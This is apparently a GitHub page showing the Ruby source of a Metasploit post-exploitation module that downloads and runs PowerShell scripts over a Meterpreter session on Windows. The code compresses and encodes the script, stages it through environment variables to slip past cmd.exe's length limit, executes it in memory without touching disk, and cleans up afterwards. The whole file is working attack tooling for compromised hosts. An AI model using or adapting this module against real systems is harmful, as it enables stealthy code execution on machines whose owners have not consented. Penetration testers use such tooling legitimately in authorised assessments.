-
Notifications
You must be signed in to change notification settings - Fork 13.9k
/
exec_powershell.rb
113 lines (93 loc) · 3.84 KB
/
exec_powershell.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
##
# Original script comments by nick[at]executionflow.org:
# Meterpreter script to deliver and execute powershell scripts using
# a compression/encoding method based on the powershell PoC code
# from rel1k and winfang98 at DEF CON 18. This script furthers the
# idea by bypassing Windows' command character lmits, allowing the
# execution of very large scripts. No files are ever written to disk.
##
require 'zlib' # TODO: check if this can be done with REX
require 'msf/core'
require 'rex'
require 'msf/core/post/windows/powershell'
class Metasploit3 < Msf::Post
include Msf::Post::Windows::Powershell
def initialize(info={})
super(update_info(info,
'Name' => "Windows Manage PowerShell Download and/or Execute",
'Description' => %q{
This module will download and execute a PowerShell script over a meterpreter session.
The user may also enter text substitutions to be made in memory before execution.
Setting VERBOSE to true will output both the script prior to execution and the results.
},
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'Platform' => ['windows'],
'SessionTypes' => ['meterpreter'],
'Author' => [
'Nicholas Nam (nick[at]executionflow.org)', # original meterpreter script
'RageLtMan <rageltman[at]sempervictus>' # post module
]
))
register_options(
[
OptPath.new( 'SCRIPT', [true, 'Path to the PS script', ::File.join(Msf::Config.install_root, "scripts", "ps", "msflag.ps1") ]),
], self.class)
register_advanced_options(
[
OptString.new('SUBSTITUTIONS', [false, 'Script subs in gsub format - original,sub;original,sub' ]),
OptBool.new( 'DELETE', [false, 'Delete file after execution', false ]),
OptBool.new( 'DRY_RUN', [false, 'Only show what would be done', false ]),
OptInt.new('TIMEOUT', [false, 'Execution timeout', 15]),
], self.class)
end
def run
# Make sure we meet the requirements before running the script, note no need to return
# unless error
return 0 if ! (session.type == "meterpreter" || have_powershell?)
# End of file marker
eof = Rex::Text.rand_text_alpha(8)
env_suffix = Rex::Text.rand_text_alpha(8)
# check/set vars
subs = process_subs(datastore['SUBSTITUTIONS'])
script_in = read_script(datastore['SCRIPT'])
# Make substitutions in script if needed
script_in = make_subs(script_in, subs) unless subs.empty?
vprint_good("Script to be executed:\n#{script_in}")
# Compress
print_status('Compressing script contents.')
compressed_script = compress_script(script_in, eof)
if datastore['DRY_RUN']
print_good("powershell -EncodedCommand #{compressed_script}")
return
end
# If the compressed size is > 8100 bytes, launch stager
if (compressed_script.size > 8100)
print_error("Compressed size: #{compressed_script.size}")
error_msg = "Compressed size may cause command to exceed "
error_msg += "cmd.exe's 8kB character limit."
print_error(error_msg)
print_status('Launching stager:')
script = stage_to_env(compressed_script, env_suffix)
print_good("Payload successfully staged.")
else
print_good("Compressed size: #{compressed_script.size}")
script = compressed_script
end
# Execute the powershell script
print_status('Executing the script.')
cmd_out, running_pids, open_channels = execute_script(script)
get_ps_output(cmd_out, eof)
# Clean up
print_status('Cleaning up residual objects and processes.')
clean_up(datastore['SCRIPT'], eof, running_pids, open_channels, env_suffix)
# That's it
print_good('Finished!')
end
end